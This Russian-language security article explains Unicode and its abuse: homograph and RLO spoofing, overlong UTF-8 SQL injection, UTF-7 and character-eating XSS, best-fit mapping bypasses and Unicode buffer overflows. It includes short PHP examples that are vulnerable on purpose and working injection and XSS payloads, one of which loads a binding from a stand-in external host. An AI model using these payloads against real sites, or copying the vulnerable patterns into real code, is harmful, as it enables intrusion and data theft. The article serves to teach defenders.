Думаю, ты не раз встречал эксплойты, которые классифицируются как Unicode, подыскивал нужную кодировку для отображения страницы, радовался очередным кракозябрам то тут, то там. Да мало ли чего еще! Если ты хочешь узнать, кто заварил всю эту кашу, и расхлебывает по сей день, пристегни ремни и читай дальше.

Как говорится, — «инициатива наказуема» и, как всегда, виноваты во всем оказались американцы.

А дело было так. На заре расцвета компьютерной индустрии и распространения интернета появилась необходимость в универсальной системе представления символов. И в 60 годах прошлого века появляется ASCII — «American Standard Code for Information Interchange» (Американский Стандартный Код для Обмена Информацией), знакомая нам 7-битная кодировка символов. Последний восьмой неиспользованный бит был оставлен как управляющий бит для настройки ASCIIтаблицы под свои нужды каждого заказчика компьютера отдельного региона. Такой бит позволял расширить ASCII-таблицу для использования своих символов каждого языка. Компьютеры поставлялись во многие страны, где уже и использовали свою, модифицированную таблицу. Но позже такая фича переросла в головную боль, так как обмен данными между ЭВМ стал достаточно проблематичным. Новые 8-битные кодовые страницы были несовместимы между собой — один и тот же код мог означать несколько разных символов. Для разрешения этой проблемы ISO («International Organization for Standardization», Международная Организация по Стандартизации) предложила новую таблицу, а именно — «ISO 8859».

Позже этот стандарт переименовали в UCS («Universal Character Set», Универсальный Набор Символов). Однако, к моменту первого выпуска UCS появился Unicode. Но так как цели и задачи обоих стандартов совпадали, было принято решение объединить усилия. Что ж, Unicode взял на себя нелегкую задачу — дать каждому символу уникальное обозначение. На данный момент последняя версия Unicode — 5.2.

Хочу предупредить — на самом-то деле история с кодировками весьма мутная. Разные источники предоставляют разные факты, так что не стоит зацикливаться на одном, достаточно быть в курсе того, как все образовывалось и следовать современным стандартам. Мы ведь, надеюсь, не историки.

 

Краш-курс unicode

Прежде чем углубляться в тему, хотелось бы пояснить, что представляет собой Unicode в техническом плане. Цели данного стандарта мы уже знаем, осталось лишь матчасть подлатать.

Итак, что есть Unicode? Проще говоря — это способ представить любой символ в виде определенного кода для всех языков мира. Последняя версия стандарта вмещает порядка 1 100 000 кодов, которые занимают пространство от U+0000 до U+10FFFF. Но тут будь внимателен! Unicode строго определяет то, что есть код для символа и то, как этот код будет представлен в памяти. Коды символов (допустим, 0041 для символа «A») не имеют какоголибо значения, а вот для представления этих кодов байтами есть своя логика, этим занимаются кодировки. Консорциум Unicode предлагает следующие виды кодировок, называемые UTF (Unicode Transformation Formats, «Форматы Преобразования Unicode»). А вот и они:

  • UTF-7: данную кодировку не рекомендуется использовать из соображений безопасности и совместимости. Описана в RFC 2152. Не является частью Unicode, однако была представлена данным консорциумом.
  • UTF-8: самая распространенная кодировка в веб-пространстве. Является переменной, шириной от 1 до 4 байт. Обратно совместима со протоколами и программами, использующими ASCII. Занимает пределы от U+0000 до U+007F.
  • UTF-16: использует переменную ширину от 2 до 4 байт. Чаще всего встречается применение 2 байт. UCS-2 является этой же кодировкой, только с фиксированной шириной 2 байта и ограничено пределами BMP.
  • UTF-32: использует фиксированную ширину в 4 байта, то есть 32 бита. Однако используется только 21 бит, остальные 11 забиты нулями. Пусть данная кодировка и громоздка в плане пространства, но считается наиболее эффективной по быстродействию за счет 32-битной адресации в современных компьютерах.

Ближайший аналог UTF-32 — кодировка UCS-4, но сегодня используется реже.

Несмотря на то, что в UTF-8 и UTF-32 можно представить чуть больше двух миллиардов символов, было принято решение ограничиться миллионом с хвостиком — ради совместимости с UTF-16. Все пространство кодов сгруппировано в 17 плоскостей, где в каждой по 65536 символов. Наиболее часто употребляемые символы расположены в нулевой, базовой плоскости. Именуется как BMP — Basic MultiPlane.
Поток данных в кодировках UTF-16 и UTF-32 может быть представлен двумя способами — прямым и обратным порядком байтов, называются UTF-16LE/UTF-32LE, UTF16BE/UTF-32BE, соответственно. Как ты и догадался, LE — это little-endian, а BE — big-endian. Но надо как-то уметь различать эти порядки. Для этого используют метку порядка байтов U+FEFF, в английском варианте — BOM, «Byte Order Mask». Данный BOM может попадаться и в UTF-8, но там он ничего не значит.

Ради обратной совместимости Юникоду пришлось вместить в себя символы существующих кодировок. Но тут возникает другая проблема — появляется много вариантов идентичных символов, которые как-то нужно обрабатывать. Поэтому нужна так называемая «нормализация», после которой уже можно сравнить две строки. Всего существует 4 формы нормализации:

  • Normalization Form D (NFD): каноническая декомпозиция.
  • Normalization Form C (NFC): каноническая декомпозиция + каноническая композиция.
  • Normalization Form KD (NFKD): совместимая декомпозиция.
  • Normalization Form KC (NFKC): совместимая декомпозиция + каноническая композиция.

Теперь подробнее про эти странные слова.

Юникод определяет два вида равенств строки — каноническая и по совместимости.

Первое предполагает разложение сложного символа на несколько отдельных фигур, которые в целом образуют исходный символ. Второе равенство подыскивает ближайший подходящий по виду символ. А композиция — это объединение символов из разных частей, декомпозиция — обратное действие. В общем, глянь на рисунок, все станет на место.

В целях безопасности нормализацию следует делать до того, как строка поступит на проверку каким-либо фильтрам. После данной операции размер текста может меняться, что может иметь негативные последствия, но об этом чуть позже.

В плане теории на этом все, я многое еще не рассказал, но надеюсь ничего важного не упустил. Unicode невообразимо обширен, сложен, по нему выпускают толстые книги, и очень нелегко сжато, доступно и полноценно объяснить основы столь громоздкого стандарта. В любом случае, для более глубокого понимания следует пройтись по боковым ссылкам. Итак, когда картина с Юникодом стала более-менее ясна, можем ехать дальше.

 

Зрительный обман

Наверняка ты слышал про IP/ARP/DNSспуфинг и хорошо представляешь, что это такое. Но есть еще так называемый «визуальный спуфинг» — это тот самый старый метод, которым активно пользуются фишеры для обмана жертв. В таких случаях применяют использование схожих букв, наподобие «o» и «0», «5» и «s». Это наиболее распространенный и простой вариант, его и легче заметить. Как пример можно привести фишинг-атаку 2000 года на PayPal, о которой даже упомянуто на страницах www.unicode.org. Однако к нашей теме Юникода это мало относится.

Для более продвинутых ребят на горизонте появился Unicode, а точнее — IDN, что является аббревиатурой от «Internationalized Domain Names» (Интернационализованные Доменные Имена). IDN позволяет использовать символы национального алфавита в доменных именах. Регистраторы доменных имен позиционируют это как удобную вещь, мол, набирай доменное имя на своем родном языке! Однако, удобство это весьма сомнительное. Ну да ладно, маркетинг — не наша тема. Зато представь, какое это раздолье для фишеров, сеошников, киберсквоттеров и прочей нечисти. Я говорю об эффекте, что называется IDN-спуфинг. Данная атака относится к категории визуального спуфинга, в английской литературе это еще называют как «homograph attack», то есть, атаки с использованием омографов (слов, одинаковых в написании).

Да, при наборе букв никто не ошибется и не наберет заведомо ложный домен. Но ведь чаще всего пользователи щелкают по ссылкам. Если хочешь убедиться в эффективности и простоте атаки, то посмотри на картинку.

В качестве некоторой панацеи был придуман IDNA2003, но уже в этом, 2010 году, вступил в силу IDNA2008. Новый протокол должен был решить многие проблемы молодого IDNA2003, однако внес новые возможности для спуфинг-атак. Снова возникают проблемы совместимости — в некоторых случаях один и тот же адрес в разных браузерах может вести на разные сервера. Дело в том, что Punycode может преобразован по-разному для разных браузеров — все будет зависеть от того, спецификации какого стандарта поддерживаются.
Проблема зрительного обмана на этом не заканчивается. Unicode и тут приходит на службу спамерам. Речь про спам-фильтры — исходные письма прогоняются спамерами через Unicode-обфускатор, который подыскивает схожие между собой символы разных национальных алфавитов по так называемому UC-Simlist («Unicode Similarity List», список схожих символов Unicode). И все! Антиспам фильтр пасует и уже не может в такой каше символов распознать нечто осмысленное, зато юзер вполне способен прочитать текст. Не отрицаю, что решение для такой проблемы нашли, однако флаг первенства за спамерами. Ну и еще кое-что из этой же серии атак. Ты точно уверен, что открываешь некий текстовый файл, а не имеешь дело с бинарником?

На рисунке, как видишь, имеем файл с названием evilexe. txt. Но это фальш! Файл на самом-то деле называется evil[U+202E]txt.exe. Спросишь, что это еще за фигня в скобках? А это, U+202E или RIGHT-TO-LEFT OVERRIDE, так называемый Bidi (от слова bidirectional) — алгоритм Юникода для поддержки таких языков, как арабский, иврит и прочих. У последних ведь письменность справа налево. После вставки символа Юникода RLO, все, что идет после RLO, мы увидим в обратном порядке. Как пример данного метода из реальной жизни могу привести спуфинг-атаку в Mozilla Firfox — cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3376.

 

Обход фильтров — этап № 1

На сегодня уже известно, что нельзя обрабатывать длинные формы (non-shortest form) UTF-8, так как это является потенциальной уязвимостью. Однако разработчиков PHP этим не вразумить. Давай разберемся, что собой представляет данный баг. Возможно ты помнишь про неправильную фильтрацию и utf8_decode(). Вот этот случай мы и рассмотрим более детально. Итак, мы имеем такой PHP-код:

<?php
// ... шаг 1
$id = mysql_real_escape_string($_GET['id']);
// ... шаг 2
$id = utf8_decode($id);
// ... шаг 3
mysql_query("SELECT 'name' FROM 'deadbeef'
WHERE 'id'='$id'");

На первый взгляд, тут все правильно. Как бы так, да не совсем — здесь присутствует SQL-инъекция. Представим, что мы передали следующую строку:

/index.php?id=%c0%a7 OR 1=1/*

На первом шаге строка не содержит ничего такого, что могло бы предвещать беду. Но второй шаг является ключевым, первые два символа строки преобразуются в апостроф. Ну, а на третьем ты уже вовсю шуршишь по базе данных. Так что же произошло на втором шаге, с чего это вдруг символы изменились? Попробуем разобраться, дальше читай внимательно.

Если ты преобразуешь %c0 и %a7 в их двоичные значения, то получишь 11000000 и 10100111 соответственно. Апостроф имеет двоичное значение 00100111. Теперь посмотри на таблицу кодировки UTF-8.

Первые нули и единицы сообщают о длине символа и принадлежности байтов. Пока что наш апостроф влезает в один байт, но мы хотим его увеличить до двух (как минимум, но можно и больше), то есть, чтобы принял вид как во второй строке.

Тогда нужно взять такой первый октет, чтобы первые три бита были 110, что сообщает декодеру, что строка шире, чем 1 байт. А со вторым октетом ничуть не сложней — первые два нуля мы заменим на 1 и 0. Вуаля! У нас получилось 11000000 10100111, что и есть %c0%a7.

Возможно, данная уязвимость встречается и не на каждом шагу, но стоит учитывать, что если функции расположены именно в таком порядке, то не помогут ни addslashes(), ни mysql_real_escape_string(), ни magic_ quotes_qpc. И так можно прятать не только апострофы, но и многие другие символы. Тем более, что не только PHP неправильно обрабатывает UTF-8 строки. Учитывая вышеприведенные факторы, диапазон атаки значительно расширяется.

 

Обход фильтров — этап № 2

Уязвимость данного вида заключается во вполне легальной маскировке ядовитой строки под видом другой кодировки. Посмотри на следующий код:

<?php
/**
* UTF-7 XSS PoC
*/
header('Content-Type: text/html;
charset=UTF-7');
$str = "<script>alert('UTF-7
XSS');</script>";
$str = mb_convert_encoding($str,
'UTF-7');
echo htmlentities($str);

Собственно, происходит тут следующее — первая строка посылает браузеру заголовок с сообщением о том, какая нам нужна кодировка. Следующая пара просто преобразовывает строку в такой вид:

+ADw-script+AD4-alert('UTF-7 XSS')+ADsAPA-/script+AD4

На последней — нечто наподобие фильтра. Фильтр может быть и сложней, но нам достаточно показать успешный обход для большинства примитивных случаев. Из этого следует, что нельзя позволять пользователю контролировать кодировки, ведь даже такой код является потенциальной уязвимостью.

<meta http-equiv="ContentType" content="text/html; charset=UTF-7">

Если сомневаешься, то выдавай ошибку и прекращай работу, а во избежание проблем правильно принуждать вывод данных к кодировке UTF-8. Из практики хорошо известен случай атаки на Google, где хакеру удалось провести XSS-атаку, изменив вручную кодировку на UTF-7.

Первоисточник атаки на Google при помощи данного метода — sla.ckers.org/forum/read.php?3,3109.

 

Обход фильтров — этап № 3

Юникод предупреждает: чрезмерное употребление символов вредит вашей безопасности. Поговорим о таком эффекте, как «поедание символов». Причиной успешной атаки может послужить неправильно работающий декодер: такой как, например, в PHP. Стандарт пишет, что в случае, если при преобразовании встретился левый символ (ill-formed), то желательно заменять сомнительные символы на знаки вопроса, пробел — на U+FFFD, прекращать разбор и т.д., но только не удалять последующие символы. Если все-таки нужно удалить символ, то надо делать это осторожно.

Баг заключается в том, что PHP сжует неправильный по религии UTF-8 символ вместе со следующим. А это уже может привести к обходу фильтра с последующим выполнением JavaScript-кода, либо к SQL-инъекции.

В оригинальном сообщении об уязвимости, в блоге хакера Eduardo Vela aka sirdarckcat, есть вполне удачный пример, его и рассмотрим, только немного модифицируем. По сценарию, пользователь может вставлять картинки в свой профиль, имеется такой код:

<?php
// ... куча кода, фильтрация …
$name = $_GET['name'];
$link = $_GET['link'];
$image = "<img alt='I am $name'
src='http://$link' />";
echo utf8_decode($image);
А теперь посылаем такой запрос:
/?name=xxx%f6&link=%20
src=javascript:onerror=alert(/
xss/)//

После всех преобразований, PHP нам вернет вот что:

<img alt='I am xxx?rc='http://src=javascript:onerror=alert(/xss/)//' />

Что же случилось? В переменную $name попал неверный UTF-8 символ 0xF6, который после конвертирования в utf8_decode() съел 2 последующих символа, включая закрывающую кавычку. Огрызок http:// браузер проигнорировал, а следующий JavaScript-код был успешно выполнен. Данную атаку я тестировал в Opera, но ничто не мешает сделать ее универсальной, это лишь показательный пример того, как в некоторых случаях можно обойти защиту.

Из данной серии атак, но без странного поведения функций PHP, можно привести другой пример обхода фильтров. Представим, что WAF/IPS не пропускает строки из черного списка, но некоторая последующая обработка строк декодера удаляет символы, инородные ASCII-диапазону. Тогда такой код беспрепятственно поступит в декодер:

<sc\uFEFFript>aler\uFEFFt('XSS')</scr\uFEFFipt>

И уже без \uFEFF окажется там, где хотел бы видеть ее злоумышленник. Устранить такую проблему можно просто продумав логику обработки строк — как всегда, фильтр должен работать с теми данными, которые находятся на последнем этапе их обработки. Кстати, если помнишь, то \uFEFF — это BOM, о котором я уже писал. Данной уязвимости был подвержен FireFox — mozilla.org/security/announce/2008/mfsa2008-43.html

 

Обход фильтров — этап № 4

Можно сказать, что вид атаки, о котором сейчас будет речь — визуальный спуфинг, атака для всякого рода IDS/IPS, WAF и прочих фильтров. Я говорю о так называемом «bestfit mapping» алгоритме Юникода. Данный метод «наилучшего подходящего» был придуман для тех случаев, когда конкретный символ при преобразовании из одной кодировки в другую отсутствует, а вставить что-то надо. Вот тогда и ищется такой, который визуально мог бы быть похож на нужный.

Пусть данный алгоритм и придуман Юникодом, однако, это лишь очередное временное решение, которое будет жить сколь угодно долго. Все зависит от масштаба и скорости перехода на Юникод. Сам стандарт советует прибегать к помощи best-fit mapping только в крайнем случае. Поведение преобразования не может быть строго регламентировано и вообще как-либо обобщено, так как слишком много разных вариаций схожести даже для одного символа — все зависит от символа, от кодировок.

Допустим, символ бесконечности может быть преобразован в восьмерку. Выглядят похоже, но имеют совершенно разноеназначение. Или еще пример — символ U+2032 преобразуется в кавычку. Думаю, ты понимаешь, чем это чревато.

Специалист по ИБ, Крис Вебер (Chris Weber), проводил эксперименты по этой теме — как обстоят дела в социальных сетях с фильтрами и алгоритмом отображения best-fit? На своем сайте он описывает пример хорошей, но недостаточной фильтрации одной соцсети. В профиле можно было загружать свои стили, которые тщательно проверялись.

Разработчики позаботились о том, чтобы не пропустить такую строку: ?moz?binding: url(http://nottrusted.com/gotcha.xml#xss)
Однако Крис смог обойти данную защиту, заменив самый первый символ на минус, код которого U+2212. После работы алгоритма best-fit, минус заменялся на знак с кодом U+002D, знак, который позволял срабатывать CSS-стилю, тем самым открывая возможности для проведения активной XSS-атаки. Стоит избегать любой магии, а тут ее очень много. До самого последнего момента нельзя предугадать, к чему приведет применение этого алгоритма. В самом лучшем случае может быть потеря символов, в худшем — выполнение JavaScript кода, доступ к произвольным файлам, SQL-инъекция.

 

Переполнение буфера

Как я уже писал, следует быть осторожным с нормализацией ввиду аномального сужения и расширения строки. Второе последствие часто ведет к переполнению буфера. Программисты неверно сравнивают длины строк, забывая про особенности Юникода. В основном, к ошибке приводит игнорирование или непонимание следующих фактов:

  1. Строки могут расшириться при смене регистра — из верхнего в нижний или обратно.
  2. Форма нормализации NFC не всегда является «собирательной», некоторые символы могут быть и разобраны.
  3. При преобразовании символов из одного в другой текст может снова вырасти. То есть, насколько строка сильно расширится — зависит от самих данных и кодировки.

В принципе, если ты знаешь что собой представляет переполнение буфера, то тут все как всегда. Ну почти :). Просто, если речь про строки в формате Юникод, то символы чаще всего будут дополнены нулями. Ради примера приведу три строки.

Обычная строка:

ABC

В кодировке ASCII:

\x41\x42\x43

В кодировке Unicode:

\x41\x00\x42\x00\x43\x00

Нуль-байтов не будет там, где исходные строки выходят за пределы диапазона ASCII-строк, так как занимают полный диапазон. Как тебе известно, нуль-байты являются препятствием для успешной работы шеллкода. Именно поэтому долгое время считалось, что Unicode-атаки невозможны. Однако этот миф был разрушен Крисом Анли (Chris Anley), он придумал так называемый «венецианский метод», позволяющий заменить нульбайты другими символами. Но эта тема заслуживает отдельной статьи, и уже есть немало хороших публикаций — достаточно погуглить «venetian exploit». Еще можешь полистать статью 45 номера спецвыпуска журнала Хакер — «Unicode-Buffer Overflows», там хорошо расписано о написании Unicode-шеллкода.

 

Прочие радости

Да-да, на этом не исчерпываются уязвимости, связанные с Юникодом Я лишь описал те, которые попадают под основные, хорошо известные классификации. Есть и другие проблемы безопасности — от назойливых багов и до реальных брешей. Это могут быть атаки визуального характера, допустим, если система регистрации неверно обрабатывает логин пользователя, то можно создать учетку из символов, визуально неотличимых от имени жертвы, таким образом облегчая фишинг или атаку социального инжиниринга. А может быть и еще хуже — система авторизации (не путать с аутентификацией) дает права с повышенными привилегиями, не различая набор символов в логине атакующего и жертвы.

Если спуститься на уровень приложений или операционки, то тут себя проявляют баги в неверно построенных алгоритмах, связанных с конвертированием — плохая нормализация, чрезмерно длинные UTF-8, удаление и поедание символов, некорректное преобразование символов и т.д. Это все ведет к самому широкому спектру атак — от XSS до удаленного выполнения кода.

В общем, в плане фантазии Юникод тебя никак не ограничивает, а наоборот, только поддерживает. Многие из вышеприведенных атак нередко являются комбинированными, сочетая в себе обходы фильтров с атакой на конкретную цель. Совмещение приятного с полезным, так сказать. Тем более, что стандарт не стоит на месте и кто знает, к чему приведут новые расширения, так как были и такие, которые позже вообще были исключены ввиду проблем с безопасностью.

 

Happy end?!

Итак, как ты понимаешь, проблемы с Юникодом до сих пор являются проблемами номер один и причинами самых разношерстных атак. А корень зла тут один — недопонимание или игнорирование стандарта. Конечно, даже самые известные вендоры грешат этим, но это не должно расслаблять. Наоборот, стоит задуматься о масштабе проблемы. Ты уже успел убедиться в том, что Юникод достаточно коварен и жди подвох, если дашь слабину и вовремя не заглянешь в стандарт. Кстати, стандарт регулярно обновляется и поэтому не стоит полагаться на древние книги или статьи — неактуальная информация хуже ее отсутствия. Но я надеюсь, что данная статья не оставила тебя равнодушным к проблеме.

 

Punycode — костылек совместимости

DNS не позволяет использовать какие-либо иные символы кроме латиницы, цифр и дефиса в названиях доменов, для DNS используется «урезанная» ASCII-таблица.

Поэтому, ради обратной совместимости, приходится такой многоязычный Unicode-домен преобразовывать в старый формат. Эту задачу на себя берет браузер пользователя. После преобразований домен превращается в набор символов с префиксом «xn--» или как его еще называют — «Punycode». К примеру, домен «хакер.ru» после преобразования в Punycode выглядит так: «xn--80akozv.ru». Больше по Punycode читай в RFC 3492.

 

Info

IDNA — IDN in Applications (IDN в приложениях), это протокол, который решает многие проблемы, позволяя использовать многоязычные доменные имена в приложениях. Был придуман организацией IETF, на данный момент существует только RFC старой версии IDNA2003 — RFC 3490. Новый стандарт несовместим с предыдущим.

 

Links

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

    • Открыть комментарии
    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии